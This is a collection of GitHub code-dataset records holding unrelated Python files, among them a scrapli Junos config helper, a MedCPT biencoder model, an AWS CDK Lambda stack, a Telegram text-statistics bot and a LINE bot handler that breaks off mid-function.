device_output: output from show version command\n\n        Returns:\n            str: device version string\n\n        Raises:\n            N/A\n\n        \"\"\"\n        version_string_search = re.search(pattern=VERSION_PATTERN, string=device_output)\n\n        if not version_string_search:\n            return \"\"\n\n        version_string = version_string_search.group(0) or \"\"\n        return version_string\n\n    def _reset_config_session(self) -> None:\n        \"\"\"\n        Reset config session info\n\n        Resets the candidate config and config session name attributes -- when these are \"empty\" we\n        know there is no current config session\n\n        Args:\n            N/A\n\n        Returns:\n            None\n\n        Raises:\n            N/A\n\n        \"\"\"\n        self.logger.debug(\"resetting candidate config and candidate config file name\")\n        self.candidate_config = \"\"\n        self.candidate_config_filename = \"\"\n        self._in_configuration_session = False\n        self._set = False\n\n    def _prepare_config_payloads(self, config: str) -> str:\n        \"\"\"\n        Prepare a configuration so it can be nicely sent to the device via scrapli\n\n        Args:\n            config: configuration to prep\n\n        Returns:\n            str: string of config lines to write to candidate config file\n\n        Raises:\n            N/A\n\n        \"\"\"\n        final_config_list = []\n        for config_line in config.splitlines():\n            final_config_list.append(\n                f\"echo >> {self.filesystem}{self.candidate_config_filename} '{config_line}'\"\n            )\n\n        final_config = \"\\n\".join(final_config_list)\n\n        return final_config\n\n    def _prepare_load_config(self, config: str, replace: bool) -> str:\n        \"\"\"\n        Handle pre \"load_config\" operations for parity between sync and async\n\n        Args:\n            config: candidate config to load\n            replace: True/False replace the configuration; passed here so it can be set at the class\n                level as we need to stay in config mode and we need to know if we are doing a merge\n                or a replace when we go to diff things\n\n        Returns:\n            str: string of config to write to candidate config file\n\n        Raises:\n            N/A\n\n        \"\"\"\n        self.candidate_config = config\n\n        if not self.candidate_config_filename:\n            self.candidate_config_filename = f\"scrapli_cfg_{round(datetime.now().timestamp())}\"\n            self.logger.debug(\n                f\"candidate config file name will be '{self.candidate_config_filename}'\"\n            )\n\n        config = self._prepare_config_payloads(config=config)\n        self._replace = replace\n\n        return config\n\n    def _normalize_source_candidate_configs(self, source_config: str) -> Tuple[str, str]:\n        \"\"\"\n        Normalize candidate config and source config so that we can easily diff them\n\n        Args:\n            source_config: current config of the source config store\n\n        Returns:\n            ScrapliCfgDiff: scrapli cfg diff object\n\n        Raises:\n            N/A\n\n        \"\"\"\n        self.logger.debug(\"normalizing source and candidate configs for diff object\")\n\n        source_config = re.sub(pattern=OUTPUT_HEADER_PATTERN, string=source_config, repl=\"\")\n        source_config = re.sub(pattern=EDIT_PATTERN, string=source_config, repl=\"\")\n        source_config = \"\\n\".join(line for line in source_config.splitlines() if line)\n        candidate_config = re.sub(\n            pattern=OUTPUT_HEADER_PATTERN, string=self.candidate_config, repl=\"\"\n        )\n        candidate_config = \"\\n\".join(line for line in candidate_config.splitlines() if line)\n\n        return source_config, candidate_config\n","repo_name":"HWNET12/Nornir","sub_path":".venv/lib/python3.9/site-packages/scrapli_cfg/platform/core/juniper_junos/base_platform.py","file_name":"base_platform.py","file_ext":"py","file_size_in_byte":5212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23057703801","text":"class MajorityElement(object):\n\n  def majorityElement(self, nums):\n    votes = 0\n    majorityElement = None\n    for counter, num in enumerate(nums):\n        if votes == 0:\n            majorityElement = num\n            votes += 1\n        elif majorityElement != num:\n            votes -= 1\n        elif majorityElement == num:\n            votes += 1\n        else:\n            raise Exception('Reached case where votes<0 which should ideally never be reached')\n    return majorityElement\n\n\nfrom nose.tools import assert_equals, assert_raises\n\nclass TestMajorityElement(object):\n\n  def testMajorityElement(self):\n    majorityElement = MajorityElement()\n\n    print (\"All test cases passed!\")\n\n\ndef main():\n  testMajorityElement = TestMajorityElement()\n  testMajorityElement.testMajorityElement()\n\nif __name__ == '__main__':\n  main()\n","repo_name":"Shamanyu/DataStructuresAndAlgorithms","sub_path":"LeetCode/MajorityElement/majority_element/majority_element.py","file_name":"majority_element.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"41114412268","text":"__author__ = 'qiao'\n\n'''\nThe BioCPT model class\n'''\n\nimport os\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\nfrom transformers import AutoModel, AutoConfig\n\nclass Biencoder(nn.Module): \n\tdef __init__(self, args):\n\t\tsuper(Biencoder, self).__init__()\n\t\tself.args = args\n\n\t\tq_path = args.bert_q_path\n\t\td_path = args.bert_d_path\n\n\t\tself.config_q = AutoConfig.from_pretrained(q_path)\n\t\tself.bert_q = AutoModel.from_pretrained(q_path)\n\n\t\tself.config_d = AutoConfig.from_pretrained(d_path)\n\t\tself.bert_d = AutoModel.from_pretrained(d_path)\n\n\n\tdef save_pretrained(self, path):\n\t\tself.config_q.save_pretrained(os.path.join(path, 'query_encoder'))\n\t\tself.bert_q.save_pretrained(os.path.join(path, 'query_encoder'))\n\n\t\tself.config_d.save_pretrained(os.path.join(path, 'doc_encoder'))\n\t\tself.bert_d.save_pretrained(os.path.join(path, 'doc_encoder'))\n\n\n\tdef forward(self, q_input_ids, q_token_type_ids, q_attention_mask,\n\t\t\t\t\td_input_ids, d_token_type_ids, d_attention_mask, weights):\n\t\tembed_q = self.bert_q(input_ids=q_input_ids,\n\t\t\t\t\t\t\t  attention_mask=q_attention_mask,\n\t\t\t\t\t\t\t  token_type_ids=q_token_type_ids).last_hidden_state[:, 0, :] # B x D\n\n\t\tembed_d = self.bert_d(input_ids=d_input_ids,\n\t\t\t\t\t\t\t  attention_mask=d_attention_mask,\n\t\t\t\t\t\t\t  token_type_ids=d_token_type_ids).last_hidden_state[:, 0, :] # B x D\n\n\t\tB = embed_q.size(dim=0)\n\t\tqd_scores = torch.matmul(embed_q, torch.transpose(embed_d, 1, 0)) # B x B\n\n\t\t# q to d softmax\n\t\tq2d_softmax = F.log_softmax(qd_scores, dim=1)\n\n\t\t# d to q softmax\n\t\td2q_softmax = F.log_softmax(qd_scores, dim=0)\n\t\t\n\t\t# positive indices (diagonal)\n\t\tpos_inds = torch.tensor(list(range(B)), dtype=torch.long).to(self.args.device)\n\t\t\n\t\tq2d_loss = F.nll_loss(q2d_softmax,\n\t\t\tpos_inds,\n\t\t\tweight=weights,\n\t\t\treduction=\"mean\"\n\t\t)\n\n\t\td2q_loss = F.nll_loss(d2q_softmax,\n\t\t\tpos_inds,\n\t\t\tweight=weights,\n\t\t\treduction=\"mean\"\n\t\t)\n\n\t\tloss = self.args.alpha * q2d_loss + (1 - self.args.alpha) * d2q_loss\n\n\t\treturn loss\n","repo_name":"ncbi/MedCPT","sub_path":"retriever/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"18"}
{"seq_id":"70152716520","text":"import cv2\r\nimport numpy as np\r\n\r\nimg = cv2.imread(r\"D:\\Intern\\test images\\test13.jpg\")\r\n#upstate = cv2.resize(upstate,(250,400))\r\nimg_hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\r\ncv2.imshow(\"Original\",img)\r\nlower = np.array([0, 48, 80], dtype=np.uint8)\r\nupper = np.array([20, 255, 255], dtype=np.uint8)\r\n# get mask of pixels that are in blue range\r\nimg_hsv = cv2.GaussianBlur(img_hsv, (13,13), 0)\r\nmask = cv2.inRange(img_hsv, lower, upper)\r\n\r\ncv2.imshow(\"mask\",cv2.cvtColor(mask, cv2.COLOR_GRAY2RGB))\r\n\r\n# convert single channel mask back into 3 channels\r\nmask_rgb = cv2.cvtColor(mask, cv2.COLOR_GRAY2RGB)\r\n\r\n# perform bitwise and on mask to obtain cut-out image that is not blue\r\nmasked_img = cv2.bitwise_and(img, mask_rgb)\r\ncv2.imshow(\" masked image\",masked_img)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()","repo_name":"LeelaSravaniAtmakuri/CiphenseInc_SmartMirror","sub_path":"skintone.py","file_name":"skintone.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"20718721980","text":"from .models import *\n\n\ndef create_address():\n    f = open('address.csv', 'r', encoding='utf-8')\n    for line in f:\n        _, city, _, district, _, ward = line.split(',')\n        city = city.strip()\n        district = district.strip()\n        ward = ward.strip()\n        try:\n            city = City.objects.get(name=city)\n        except:\n            city = City.objects.create(name=city)\n        try:\n            district = District.objects.get(name=district)\n        except:\n            district = District.objects.create(name=district, city=city)\n        try:\n            ward = Ward.objects.get(name=ward)\n        except:\n            ward = Ward.objects.create(name=ward, district=district)\n    f.close()\n\n\ndef get_cities(request=None):\n    return [{\n        \"id\": city.id,\n        \"name\": city.name\n    } for city in City.objects.all()]\n\n\ndef get_districts(request):\n    city = request.GET.get('city')\n    return [{\n        \"id\": district.id,\n        \"name\": district.name\n    } for district in District.objects.filter(city_id=city)]\n\n\ndef get_wards(request):\n    district = request.GET.get('district')\n    return [{\n        \"id\": ward.id,\n        \"name\": ward.name\n    } for ward in Ward.objects.filter(district_id=district)]\n","repo_name":"q2kit/PTTK_BE","sub_path":"src/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"13620220854","text":"from singleFile import *\nfrom data_transform import data_transform\nfrom scipy import stats\nfrom sklearn.ensemble import ExtraTreesClassifier\n\ndef make_predictions(video_path, fps):\n\n    data = singleExtract(video_path=video_path, fps=fps)\n\n    print('Coordinates Extracted..')\n\n    data = data_transform(data, 3, 3)\n\n    print('Data Transformed..')\n\n    # Loading the model\n    model = ExtraTreesClassifier(n_estimators=500)\n    model.load_model('xgb_33.json')\n\n    print('Model Loaded..')\n\n    result = model.predict(data)\n\n    print(len(result))\n\n    correct_labels = {\n        0:'aerobic',\n        1:'balance_stability',\n        2:'calisthenics',\n        3:'coordination_agility',\n        4:'flexibility',\n        5:'idle',\n        6:'weight_bearing',\n        7:'weightlifting'\n    }\n\n    result = list(result)\n\n    for index,x in enumerate(result):\n        result[index] = correct_labels[x]\n\n    data['target'] = result\n\n    print('Predictions ready for RepNet')\n\n    return data\n\n","repo_name":"sampadk04/fitness-activity-recognition","sub_path":"cohort-Apr-June/classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"6460215505","text":"from aws_cdk import (\n    Stack,\n    Duration,\n    aws_lambda as lambda_,\n    aws_iam as iam,\n    aws_dynamodb as dynamodb,\n    aws_logs as logs,\n)\nfrom constructs import Construct\n\n\ndef resource_name(resource_type: str) -> str:\n    return f\"{resource_type}_LambdaEventSample_cdk\"\n\n\nclass LambdaEventSampleStack(Stack):\n\n    def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:\n        super().__init__(scope, construct_id, **kwargs)\n\n        role = iam.Role(\n            self, resource_name(\"rol\"),\n            assumed_by=iam.ServicePrincipal(\"lambda.amazonaws.com\"),\n            managed_policies=[\n                iam.ManagedPolicy.from_aws_managed_policy_name(\n                    \"service-role/AWSLambdaBasicExecutionRole\")\n            ],\n            role_name=resource_name(\"rol\"),\n        )\n\n        fn = lambda_.Function(\n            self, resource_name(\"lmd\"),\n            code=lambda_.AssetCode.from_asset(\"src\"),\n            handler=\"lambda_function.lambda_handler\",\n            runtime=lambda_.Runtime.PYTHON_3_9,\n            function_name=resource_name(\"lmd\"),\n            timeout=Duration.seconds(30),\n            memory_size=256,\n            role=role\n        )\n\n        table = dynamodb.Table(\n            self, resource_name(\"dyn\"),\n            billing_mode=dynamodb.BillingMode.PROVISIONED,\n            partition_key=dynamodb.Attribute(\n                name=\"pkey\", type=dynamodb.AttributeType.STRING),\n            read_capacity=1,\n            write_capacity=1,\n            table_name=resource_name(\"dyn\")\n        )\n        table.grant_read_data(role)\n        fn.add_environment(\n            key=\"DB_NAME\",\n            value=table.table_name,\n        )\n\n        loggroup_name = f\"/aws/lambda/{fn.function_name}\"\n        logs.LogGroup(\n            self, resource_name(\"log\"),\n            log_group_name=loggroup_name,\n            retention=logs.RetentionDays.ONE_DAY,\n        )\n","repo_name":"tsuji-tomonori/LambdaEventSample","sub_path":"stack/lambda_event_sample_stack.py","file_name":"lambda_event_sample_stack.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35354576196","text":"class Solver(object):\n    def __init__(self, mingradnorm=1e-6, maxiter=1000, maxtime=1000,\n                 minstepsize=1e-10, verbosity=2):\n        \"\"\"\n        Generic solver base class.\n        Variable attributes (defaults in brackets):\n            - maxiter (1000)\n                Max number of iterations to run.\n            - maxtime (1000)\n                Max time (in seconds) to run.\n            - mingradnorm (1e-6)\n                Terminate if the norm of the gradient is below this.\n            - minstepsize (1e-10)\n                Terminate if linesearch returns a vector whose norm is below\n                this.\n            - verbosity (2)\n                Level of information printed by the solver while it operates, 0\n                is silent, 2 is most information.\n        \"\"\"\n        self._mingradnorm = mingradnorm\n        self._maxiter = maxiter\n        self._maxtime = maxtime\n        self._minstepsize = minstepsize\n        self._verbosity = verbosity\n","repo_name":"thatdeep/logmat_riemannian","sub_path":"pymanopt/solvers/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71454642920","text":"\"\"\"empty message\n\nRevision ID: 1b3472d30676\nRevises: 94a0e20935c5\nCreate Date: 2019-11-21 17:10:55.069668\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '1b3472d30676'\ndown_revision = '94a0e20935c5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('credit_card',\n    sa.Column('customer_ID', sa.Integer(), nullable=False),\n    sa.Column('card_number', sa.Integer(), nullable=False),\n    sa.Column('street_address', sa.String(), nullable=True),\n    sa.Column('city', sa.String(), nullable=True),\n    sa.Column('state', sa.String(), nullable=True),\n    sa.Column('zip_code', sa.Integer(), nullable=True),\n    sa.ForeignKeyConstraint(['customer_ID'], ['customer.customer_ID'], ),\n    sa.PrimaryKeyConstraint('customer_ID', 'card_number')\n    )\n    op.create_table('customer_address',\n    sa.Column('customer_ID', sa.Integer(), nullable=False),\n    sa.Column('street_address', sa.String(), nullable=True),\n    sa.Column('city', sa.String(), nullable=True),\n    sa.Column('state', sa.String(), nullable=True),\n    sa.Column('zip_code', sa.Integer(), nullable=True),\n    sa.ForeignKeyConstraint(['customer_ID'], ['customer.customer_ID'], ),\n    sa.PrimaryKeyConstraint('customer_ID')\n    )\n    op.create_table('pricing',\n    sa.Column('product_ID', sa.Integer(), nullable=False),\n    sa.Column('state', sa.String(), nullable=True),\n    sa.Column('price', sa.Numeric(), nullable=True),\n    sa.ForeignKeyConstraint(['product_ID'], ['customer.customer_ID'], ),\n    sa.PrimaryKeyConstraint('product_ID')\n    )\n    op.add_column('test', sa.Column('name', sa.String(), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('test', 'name')\n    op.drop_table('pricing')\n    op.drop_table('customer_address')\n    op.drop_table('credit_card')\n    # ### end Alembic commands ###\n","repo_name":"arushirai1/CS-425-Online-Grocery-Store-App","sub_path":"migrations/versions/1b3472d30676_.py","file_name":"1b3472d30676_.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"39274982195","text":"# -*- coding: utf-8 -*-\nfrom odoo import models, fields, api\nfrom odoo.exceptions import UserError\nimport xlrd,base64,datetime\n\n\nclass ImportWizard(models.TransientModel):\n    _inherit = 'import.wizard'\n\n    # 数据导入\n    @api.multi\n    def import_excel(self):\n        if self.data:\n            excel_obj = xlrd.open_workbook(file_contents=base64.decodestring(self.data))\n            sheets = excel_obj.sheets()\n            upc_obj = self.env['b2b.upc.list']\n            product_obj = self.env['product.product']\n            for sh in sheets:\n                for row in range(1, sh.nrows):\n                    code = sh.cell(row, 0).value\n                    code = code.replace(' ', '')\n                    if type(code) is not unicode:\n                        raise UserError(u'%s 编码必须为文本类型，不能为数字格式' % code)\n                    result = upc_obj.sudo().search([('name', '=', code)])\n                    if result:\n                        continue\n                    product = product_obj.sudo().search([('barcode', '=', code)])\n                    if product:\n                        continue\n                    upc_obj.create({'name':code})\n                    # code.assign_upc_codes()\n        return {'name': u'UPC码',\n                'type': 'ir.actions.act_window',\n                'view_type': 'form',\n                'view_mode': 'tree',\n                'res_model': 'b2b.upc.list',\n                'context': {'create': False},\n                }\n\n\n","repo_name":"ljp1992/mxnet","sub_path":"amazon_api/wizard/add_button_in_tree_view.py","file_name":"add_button_in_tree_view.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"41362677844","text":"import telebot\r\nfrom telebot import types\r\nimport pymorphy2\r\n\r\nbot = telebot.TeleBot('тут должен быть токен')\r\n\r\n@bot.message_handler(commands=[\"start\"])\r\ndef start(m, res=False):\r\n    bot.send_message(m.chat.id, ' Привет! Я бот для анализа текста, который ты мне пришлёшь.\\nСтатистика такая:\\n1. количество уникальных слов\\n2. самое популярное слово (кроме союзов и предлогов)\\n3. количество предложений\\nДля помощи напиши /help.')\r\n\r\n# Получение сообщений от юзера\r\n@bot.message_handler(content_types=[\"text\"])\r\ndef handle_text(message):\r\n\tif message.text == \"/help\":\r\n\t\tbot.send_message(message.from_user.id, \"Слушай, ну вроде и так всё понятно, просто пришли мне какой нибудь текст. Я посчитаю всё и напишу тебе ответ...\")\r\n\r\n\telse:\r\n\t\tbot.send_message(message.chat.id, 'Анализирую... ')\r\n\t\tres = text_analyzer(message.text)\r\n\t\tbot.send_message(message.chat.id, res)\r\n\r\ndef extra_parts(word, morth=pymorphy2.MorphAnalyzer()):\r\n        return morth.parse(word)[0].tag.POS\r\n\r\ndef text_analyzer(text): \r\n    words = text.lower().split()\r\n    most_used = ''\r\n    count_word = 0\r\n    unique_words = ''\r\n    number_of_sentences = text.count('.')+text.count('!')+text.count('?')\r\n\r\n# удаление символов\r\n    for word in words:\r\n        for symbol in word:\r\n            if symbol in '!@#$%^&*()_+-=\"[{]}\\|/?.>,<№;:':\r\n                word.replace(symbol, '')\r\n    unique_words = len(words)\r\n\r\n# удаление предлогов и союзов из списка слов \r\n    extras = {'INTJ', 'PRCL', 'CONJ', 'PREP'}\r\n    words = [word for word in words if extra_parts(word) not in extras]\r\n\r\n    for word in words:\r\n        if words.count(word) > count_word and word not in []:\r\n            count_word = words.count(word)\r\n            most_used = word\r\n    return f'Статистика по тексту:\\nКоличество уникальных слов - {unique_words}\\nСамое популярное слово - {most_used}\\nКоличество предложений - {number_of_sentences}'\r\n\r\nbot.polling(none_stop=True, interval=0)\r\n\r\n\r\n","repo_name":"viveber/MISIS_python_course","sub_path":"telegram_bots/bot_2.py","file_name":"bot_2.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"73835426599","text":"# CRMS replace Module\n# ReplaceScript\n# replaces one time strings that are unique\n\n\ndef NamesUnique(AllNames):\n    text01 = AllNames.replace('-City Service Area (Svc. Coor. Team) ','SVAr_IDXAA,')\n    text1a = text01.replace('-Animal Control District ','-ACD_IDXAB,')\n    text02 = text1a.replace('-Building Inspection District ','-BI_IDXBB,')\n    text03 = text02.replace('-Census Tract ','-CT_IDXCC,')\n    text04 = text03.replace('-Council District ','-CD_IDXDD,')\n    text05 = text04.replace('-Mapsco Page-Zone ','_IDXEE,')\n    text06 = text05.replace('-Multi-Tenant Inspector ','-MT_Insp_IDXFF,')\n    text07 = text06.replace('-Police Beat ','-PB_IDXGG,')\n    text08 = text07.replace('-Sanitation District ','-SD_IDXHH,')\n    text09 = text08.replace('-Streets Customer Service Area ','-St_CSA_IDXII,')\n    text10 = text09.replace('-Garbage Pick-up Day','-GPD_IDXJJ')\n    text11 = text10.replace('-Brush Collection Week ','-BCW_IDXKK,')\n    text12 = text11.replace('-Fire District ','-FD_IDXLL,')\n    text13 = text12.replace('-Recycling Day ','-RD_IDXMM,')\n    text14 = text13.replace('-Street Maint Area ','-SMA_IDXNN,')\n    text15 = text14.replace('Graffiti Abatement Request,','Graffiti Abatement Request,CCS,')\n    text16 = text15.replace('Graffiti Private Property - Residential/Commercial,','Graffiti Private Property - Residential/Commercial,CCS,')\n    text17 = text16.replace('Graffiti Consent Form,','Graffiti Consent Form,CCS,')\n    text18 = text17.replace('Vegetation Removal Request,','Vegetation Removal Request,CCS,')\n    text19 = text18.replace('Heavy Clean Request,','Heavy Clean Request,CCS,')\n    text20 = text19.replace('Litter Removal Request,','Litter Removal Request,CCS,')\n    text21 = text20.replace('Closure Request,','Closure Request,CCS,')\n    text22 = text21.replace('STEP License,','STEP License,CCS,')\n    text23 = text22.replace('Graffiti Private Property -  Apartments,','Graffiti Private Property -  Apartments,CCS,')\n    text24 = text23.replace('Pool Inspection - Apartments,','Pool Inspection - Apartments,CCS,')\n    text25 = text24.replace('Delinquent M/F License fee,','Delinquent M/F License fee,CCS,')\n    text26 = text25.replace('Urban Rehab CAO Docket,','Urban Rehab CAO Docket,CAO,')\n    text27 = text26.replace('Code Environmental Compliance,','Code Environmental Compliance,CCS,')\n    text28 = text27.replace('Mow Clean Tire Removal,','Mow Clean Tire Removal,CCS,')\n    text29 = text28.replace(',311 Call Center Complaint,',',311 Call Center Complaint,C311,')\n    text30 = text29.replace('STEP Decal,','STEP Decal,CCS,')\n    text31 = text30.replace('Sign Removal Request,','Sign Removal Request,CCS,')\n    text32 = text31.replace('Wood Vendor License,','Wood Vendor License,BI,')\n    return text32\n\n# not used\ndef CountFiles(Process):\n    count = 0\n    Execut = Process.readline()\n    RunExecut = Execut.next()\n    while 1:\n        if \"End of File\" in RunExecut:\n            break\n        else:\n            count += 1\n            RunExecut = Execut.next()\n        continue\n    return count\n\n\n","repo_name":"lorenzo-villa/read-CRMS-file","sub_path":"CRMS_EditScript/UniqueNames1.py","file_name":"UniqueNames1.py","file_ext":"py","file_size_in_byte":3035,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"3235933085","text":"from math import prod\n\n\ndef count_find_num(primesL, limit):\n    min_number = prod(primesL)\n    result = set()\n    result.add(min_number)\n    if min_number > limit:\n        return []\n    old_values = {min_number}\n    while min_number <= limit:\n        new_values = set()\n        for i in old_values:\n            for n in primesL:\n                mul = i * n\n                new_values.add(mul)\n                if mul <= limit:\n                    result.add(mul)\n        min_number = min(new_values)\n        old_values = {i for i in new_values if i < limit}\n    return [len(result), max(result)]\n","repo_name":"S0fist/YLab_University","sub_path":"task_5.py","file_name":"task_5.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"41170797286","text":"import bs4\nimport requests \n\nsubpages=[\"1\",\"2\",\"3\",\"4\"]\nnames=[]\n\nfor no in subpages:\n    url='https://www.superherodb.com/naruto/900-1037/?page_nr='+no\n    response =requests.get(url)\n\n    soup = bs4.BeautifulSoup(response.content,\"lxml\")\n\n    divs=soup.find_all('div',{\"class\":\"shdbcard3 cat-10\"})\n\n    for div in divs:\n        anchor=div.find(\"a\")\n        names.append(anchor[\"title\"])\n        \nwith open('names.txt', 'w') as f:\n    for name in names:\n        f.write(name)\n        f.write(\"\\n\")\n\n    ","repo_name":"lmponcio/web-scraper-characters","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"16671888591","text":"import os\nimport sys\nimport tempfile\nfrom flask import abort, request\nfrom AskGod import random_ask\nfrom DataBaseApi import test_database\n\nfrom linebot import (\n    LineBotApi, WebhookHandler\n)\nfrom linebot.exceptions import (\n    LineBotApiError, InvalidSignatureError\n)\nfrom linebot.models import (\n    MessageEvent, TextMessage, TextSendMessage,\n    SourceUser, SourceGroup, SourceRoom,\n    TemplateSendMessage, ConfirmTemplate, MessageAction,\n    ButtonsTemplate, ImageCarouselTemplate, ImageCarouselColumn, URIAction,\n    PostbackAction, DatetimePickerAction,\n    CameraAction, CameraRollAction, LocationAction,\n    CarouselTemplate, CarouselColumn, PostbackEvent,\n    StickerMessage, StickerSendMessage, LocationMessage, LocationSendMessage,\n    ImageMessage, VideoMessage, AudioMessage, FileMessage,\n    UnfollowEvent, FollowEvent, JoinEvent, LeaveEvent, BeaconEvent,\n    MemberJoinedEvent, MemberLeftEvent,\n    FlexSendMessage, BubbleContainer, ImageComponent, BoxComponent,\n    TextComponent, SpacerComponent, IconComponent, ButtonComponent,\n    SeparatorComponent, QuickReply, QuickReplyButton,\n    ImageSendMessage)\n\n# get channel_secret and channel_access_token from your environment variable\nchannel_access_token = os.getenv('LINE_CHANNEL_ACCESS_TOKEN', None)\nchannel_secret = os.getenv('LINE_CHANNEL_SECRET', None)\nif channel_secret is None or channel_access_token is None:\n    print('Specify LINE_CHANNEL_SECRET or LINE_CHANNEL_ACCESS_TOKEN as environment variables.')\n    sys.exit(1)\n\nline_bot_api = LineBotApi(channel_access_token)\nhandler = WebhookHandler(channel_secret)\nmaster_user_id = os.getenv('MasterUserID', None)\n\nstatic_tmp_path = os.path.join(os.path.dirname(__file__), 'static', 'tmp')\n\ndef linebotcallback(body, signature):\n    try:\n        handler.handle(body, signature)\n    except LineBotApiError as e:\n        print(\"Got exception from LINE Messaging API: %s\\n\" % e.message)\n        for m in e.error.details:\n            print(\"  %s: %s\" % (m.property, m.message))\n        print(\"\\n\")\n    except InvalidSignatureError:\n        abort(400)\n\n@handler.add(MessageEvent, message=TextMessage)\ndef handle_text_message(event):\n    text = event.message.text\n    if isinstance(event.source, SourceUser):\n        if text.startswith('測試'):\n            test_message(text, event)\n        else:\n            godAnswer = random_ask(text)\n            check_reply_message_method(godAnswer, event.reply_token)\n    elif isinstance(event.source, SourceRoom) or isinstance(event.source, SourceGroup):\n        if text.startswith('阿比'):\n            godAnswer = random_ask(text)\n            check_reply_message_method(godAnswer, event.reply_token)\n        elif text.startswith('測試'):\n            test_message(text, event)\n\n@handler.add(MessageEvent, message=LocationMessage)\ndef handle_location_message(event):\n    line_bot_api.reply_message(\n        event.reply_token,\n        LocationSendMessage(\n            title='Location', address=event.message.address,\n            latitude=event.message.latitude, longitude=event.message.longitude\n        )\n    )\n\n@handler.add(MessageEvent, message=StickerMessage)\ndef handle_sticker_message(event):\n    print(event.message.package_id, event.message.sticker_id)\n\n# Other Message Type\n@handler.add(MessageEvent, message=(ImageMessage, VideoMessage, AudioMessage))\ndef handle_content_message(event):\n    print('sand some content')\n\n@handler.add(MessageEvent, message=FileMessage)\ndef handle_file_message(event):\n    print('sand some file')\n\n@handler.add(FollowEvent)\ndef handle_follow(event):\n    say_hello_message(event)\n    print(\"Got Follow event:\" + event.source.user_id)\n    # app.logger.info(\"Got Follow event:\" + event.source.user_id)\n\n@handler.add(UnfollowEvent)\ndef handle_unfollow(event):\n    print(\"Got Unfollow event:\" + event.source.user_id)\n    # app.logger.info(\"Got Unfollow event:\" + event.source.user_id)\n\n@handler.add(JoinEvent)\ndef handle_join(event):\n    print('Joined this ' + event.source.type)\n    # app.logger.info('Joined this ' + event.source.type)\n\n@handler.add(LeaveEvent)\ndef handle_leave():\n    print(\"Got leave event\")\n    # app.logger.info(\"Got leave event\")\n\n@handler.add(PostbackEvent)\ndef handle_postback(event):\n    # 使用者使用postback回送的參數會在這邊接收\n    print('postback', event.postback)\n    if event.postback.data == '測試':\n        testDict = {\n            '0':{\n                'type':'Text',\n                'text':'測試回撥！'\n            }\n        }\n        check_reply_message_method(testDict, event.reply_token)\n    elif event.postback.data == 'deadline':\n        dateDict = {\n            '0':{ 'type':'Text' }\n        }\n        timeType = ['date', 'time', 'datetime']\n        for t in timeType:\n            if t in event.postback.params:\n                dateDict['0']['text'] = event.postback.params[t]\n                break\n        check_reply_message_method(dateDict, event.reply_token)\n\n@handler.add(BeaconEvent)\ndef handle_beacon(event):\n    print('Got beacon event. hwid={}, device_message(hex string)={}'.format(event.beacon.hwid, event.beacon.dm))\n    # app.logger.info('Got beacon event. hwid={}, device_message(hex string)={}'.format(event.beacon.hwid, event.beacon.dm))\n\n@handler.add(MemberJoinedEvent)\ndef handle_member_joined(event):\n    print('Got memberJoined event. event={}'.format(event))\n    # app.logger.info('Got memberJoined event. event={}'.format(event))\n\n@handler.add(MemberLeftEvent)\ndef handle_member_left(event):\n    print(\"Got memberLeft event\")\n    # app.logger.info(\"Got memberLeft event\")\n\ndef check_push_message_method(msgDict, pushTo):\n    pushArr = []\n    for var in msgDict.values():\n        if var['type'] == 'Text':\n            pushArr.append(TextSendMessage(text=var['text']))\n        elif var['type'] == 'Image':\n            pushArr.append(ImageSendMessage(var['img'], var['img']))\n        elif var['type'] == 'Btn':\n            btn_template = ButtonsTemplate(\n            title=var['title'], \n            text=var['fullText'], \n            actions=get_button_template_message(var['btns']))\n            pushArr.append(TemplateSendMessage(\n                alt_text=var['minText'], template=btn_template))\n        elif var['type'] == 'Bugua':\n            get_bugua_flex_message(var, pushTo, False)\n        elif var['type'] == 'Toss':\n            get_toss_flex_message(var, pushTo, False)\n    if len(pushArr) > 0:\n        line_bot_api.push_message(pushTo, pushArr)\n\ndef check_reply_message_method(msgDict, 